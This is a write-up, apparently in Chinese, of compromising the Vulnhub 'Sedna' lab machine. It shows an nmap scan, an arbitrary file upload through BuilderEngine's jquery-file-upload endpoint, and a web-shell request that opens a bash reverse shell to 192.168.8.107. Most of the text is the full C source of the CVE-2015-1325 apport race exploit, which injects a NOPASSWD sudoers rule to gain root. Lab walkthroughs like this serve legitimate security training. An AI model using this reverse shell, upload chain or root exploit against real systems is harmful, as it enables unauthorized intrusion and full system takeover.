[Vulnhub] Sedna BuilderEngine-CMS+Kernel权限提升

信息收集

IP Address	Opening Ports
192.168.8.104	TCP:22, 53, 80, 110, 111, 139, 143, 445, 993, 995, 8080, 55679

$ nmap -p- 192.168.8.104 --min-rate 1000 -sC -sV

PORT      STATE SERVICE     VERSION
22/tcp    open  ssh         OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 aa:c3:9e:80:b4:81:15:dd:60:d5:08:ba:3f:e0:af:08 (DSA)
|   2048 41:7f:c2:5d:d5:3a:68:e4:c5:d9:cc:60:06:76:93:a5 (RSA)
|   256 ef:2d:65:85:f8:3a:85:c2:33:0b:7d:f9:c8:92:22:03 (ECDSA)
|_  256 ca:36:3c:32:e6:24:f9:b7:b4:d4:1d:fc:c0:da:10:96 (ED25519)
53/tcp    open  domain      ISC BIND 9.9.5-3 (Ubuntu Linux)
| dns-nsid:
|_  bind.version: 9.9.5-3-Ubuntu
80/tcp    open  http        Apache httpd 2.4.7 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
|_Hackers
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
110/tcp   open  pop3?
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server
| Not valid before: 2016-10-07T19:17:14
|_Not valid after:  2026-10-07T19:17:14
111/tcp   open  rpcbind     2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          44473/udp   status
|   100024  1          55679/tcp   status
|   100024  1          55939/udp6  status
|_  100024  1          58847/tcp6  status
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp   open  imap        Dovecot imapd
|_sslv2: ERROR: Script execution failed (use -d to debug)
|_imap-ntlm-info: ERROR: Script execution failed (use -d to debug)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server
| Not valid before: 2016-10-07T19:17:14
|_Not valid after:  2026-10-07T19:17:14
445/tcp   open  netbios-ssn Samba smbd 4.1.6-Ubuntu (workgroup: WORKGROUP)
993/tcp   open  ssl/imap    Dovecot imapd
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server
| Not valid before: 2016-10-07T19:17:14
|_Not valid after:  2026-10-07T19:17:14
995/tcp   open  ssl/pop3s?
| ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server
| Not valid before: 2016-10-07T19:17:14
|_Not valid after:  2026-10-07T19:17:14
|_ssl-date: TLS randomness does not represent time
8080/tcp  open  http        Apache Tomcat/Coyote JSP engine 1.1
| http-methods:
|_  Potentially risky methods: PUT DELETE
|_http-title: Apache Tomcat
|_http-server-header: Apache-Coyote/1.1
|_http-open-proxy: Proxy might be redirecting requests
55679/tcp open  status      1 (RPC #100024)
Service Info: Host: SEDNA; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb-os-discovery:
|   OS: Unix (Samba 4.1.6-Ubuntu)
|   NetBIOS computer name: SEDNA\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2024-07-12T17:44:02-04:00
|_nbstat: NetBIOS name: SEDNA, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
|_clock-skew: mean: -6h40m00s, deviation: 2h18m34s, median: -8h00m01s
| smb2-time:
|   date: 2024-07-12T21:44:02
|_  start_date: N/A
| smb2-security-mode:
|   3.0:
|_    Message signing enabled but not required
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)

本地权限

$ dirb http://192.168.8.104

http://192.168.8.104/themes/default_theme_2016/description.txt

<html>
<body>
<form method="post" action="http://192.168.8.104/themes/dashboard/assets/plugins/jquery-file-upload/server/php/" enctype="multipart/form-data">
        <input type="file" name="files[]" />
        <input type="submit" value="send" />
</form>
</body>
</html>

http://192.168.8.104/files/1.php?cmd=%2fbin%2fbash+-c+%27bash+-i+%3e%26%2fdev%2ftcp%2f192.168.8.107%2f10032+0%3e%261%27

$ cat /var/www/flag.txt

bfbb7e6e6e88d9ae66848b9aeac6b289

权限提升

/*
# Exploit Title: apport/ubuntu local root race condition
# Date: 2015-05-11
# Exploit Author: rebel
# Version: ubuntu 14.04, 14.10, 15.04
# Tested on: ubuntu 14.04, 14.10, 15.04
# CVE : CVE-2015-1325

*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
CVE-2015-1325 / apport-pid-race.c
apport race conditions

ubuntu local root
tested on ubuntu server 14.04, 14.10, 15.04

core dropping bug also works on older versions, but you can't
write arbitrary contents. on 12.04 /etc/logrotate.d might work,
didn't check. sudo and cron will complain if you drop a real ELF
core file in sudoers.d/cron.d

unpriv@ubuntu-1504:~$ gcc apport-race.c -o apport-race && ./apport-race
created /var/crash/_bin_sleep.1002.crash
crasher: my pid is 1308
apport stopped, pid = 1309
getting pid 1308
current pid = 1307..2500..5000..7500..10000........
** child: current pid = 1308
** child: executing /bin/su
Password: sleeping 2s..

checker: mode 4532
waiting for file to be unlinked..writing to fifo
fifo written.. wait...
waiting for /etc/sudoers.d/core to appear..

checker: new mode 32768 .. done
checker: SIGCONT
checker: writing core
checker: done
success
# id
uid=0(root) gid=0(root) groups=0(root)

85ad63cf7248d7da46e55fa1b1c6fe01dea43749
2015-05-10
%rebel%
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
*/


#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <signal.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/resource.h>
#include <unistd.h>
#include <string.h>
#include <sys/wait.h>


char *crash_report = "ProblemType: Crash\nArchitecture: amd64\nCrashCounter: 0\nDate: Sat May  9 18:18:33 2015\nDistroRelease: Ubuntu 15.04\nExecutablePath: /bin/sleep\nExecutableTimestamp: 1415000653\nProcCmdline: sleep 1337\nProcCwd: /home/rebel\nProcEnviron:\n XDG_RUNTIME_DIR=<set>\nProcMaps:\n 00400000-00407000 r-xp 00000000 08:01 393307                             /bin/sleep\nProcStatus:\n Name:  sleep\nSignal: 11\nUname: Linux 3.19.0-15-generic x86_64\nUserGroups:\n_LogindSession: 23\nCoreDump: base64\n H4sICAAAAAAC/0NvcmVEdW1wAA==\n U1ZgZGJm4eLicvTxUQBiWw0goang5x/gGBwc7mIFEuMCAA==\n";
/*
last line is the stuff we write to the corefile

c = zlib.compressobj(9,zlib.DEFLATED,-zlib.MAX_WBITS)
t = '# \x01\x02\x03\x04\n\n\nALL ALL=(ALL) NOPASSWD: ALL\n'
# need some non-ASCII bytes so it doesn't turn into a str()
# which makes apport fail with the following error:
#    os.write(core_file, r['CoreDump'])
# TypeError: 'str' does not support the buffer interface
t = bytes(t,'latin1')
c.compress(t)
a = c.flush()
import base64
base64.b64encode(a)

# b'U1ZgZGJm4eLicvTxUQBiWw0goang5x/gGBwc7mIFEuMCAA=='
*/

int apport_pid;
char report[128];

void steal_pid(int wanted_pid)
{
    int x, pid;

    pid = getpid();

    fprintf(stderr,"getting pid %d\n", wanted_pid);
    fprintf(stderr,"current pid = %d..", pid);

    for(x = 0; x < 500000; x++) {
        pid = fork();
        if(pid == 0) {
            pid = getpid();
            if(pid % 2500 == 0)
                fprintf(stderr,"%d..", pid);

            if(pid == wanted_pid) {
                fprintf(stderr,"\n** child: current pid = %d\n", pid);
                fprintf(stderr,"** child: executing /bin/su\n");

                execl("/bin/su", "su", NULL);
            }
            exit(0);
            return;
        }
        if(pid == wanted_pid)
            return;

        wait(NULL);
    }

}



void checker(void)
{
    struct stat s;
    int fd, mode, x;

    stat(report, &s);

    fprintf(stderr,"\nchecker: mode %d\nwaiting for file to be unlinked..", s.st_mode);

    mode = s.st_mode;

    while(1) {
// poor man's pseudo-singlestepping
        kill(apport_pid, SIGCONT);
        kill(apport_pid, SIGSTOP);

// need to wait a bit for the signals to be handled,
// otherwise we'll miss when the new report file is created
        for(x = 0; x < 100000; x++);

        stat(report, &s);

        if(s.st_mode != mode)
            break;
    }

    fprintf(stderr,"\nchecker: new mode %d .. done\n", s.st_mode);

    unlink(report);
    mknod(report, S_IFIFO | 0666, 0);

    fprintf(stderr,"checker: SIGCONT\n");
    kill(apport_pid, SIGCONT);

    fprintf(stderr,"checker: writing core\n");

    fd = open(report, O_WRONLY);
    write(fd, crash_report, strlen(crash_report));
    close(fd);
    fprintf(stderr,"checker: done\n");

    while(1)
        sleep(1);
}



void crasher()
{
    chdir("/etc/sudoers.d");

    fprintf(stderr,"crasher: my pid is %d\n", getpid());

    execl("/bin/sleep", "sleep", "1337", NULL);

    exit(0);
}


int main(void)
{
    int pid, checker_pid, fd;
    struct rlimit limits;
    struct stat s;

    limits.rlim_cur = RLIM_INFINITY;
    limits.rlim_max = RLIM_INFINITY;
    setrlimit(RLIMIT_CORE, &limits);

    pid = fork();

    if(pid == 0)
        crasher();

    sprintf(report, "/var/crash/_bin_sleep.%d.crash", getuid());

    unlink(report);
    mknod(report, S_IFIFO | 0666, 0);

    fprintf(stderr,"created %s\n", report);

    usleep(300000);
    kill(pid, 11);
    apport_pid = pid + 1;
// could check that pid+1 is actually apport here but it's
// kind of likely
    fprintf(stderr,"apport stopped, pid = %d\n", apport_pid);

    usleep(300000);

    kill(pid, 9);
    steal_pid(pid);
    sleep(1);

    kill(apport_pid, SIGSTOP);

    checker_pid = fork();

    if(checker_pid == 0) {
        checker();
        exit(0);
    }

    fprintf(stderr,"sleeping 2s..\n");
    sleep(2);

    fprintf(stderr,"writing to fifo\n");

    fd = open(report, O_WRONLY);
    write(fd, crash_report, strlen(crash_report));
    close(fd);

    fprintf(stderr,"fifo written.. wait...\n");
    fprintf(stderr,"waiting for /etc/sudoers.d/core to appear..\n");

    while(1) {
        stat("/etc/sudoers.d/core", &s);
        if(s.st_size == 37)
            break;
        usleep(100000);
    }

    fprintf(stderr,"success\n");
    kill(pid, 9);
    kill(checker_pid, 9);
    return system("sudo -- sh -c 'stty echo;sh -i'");
}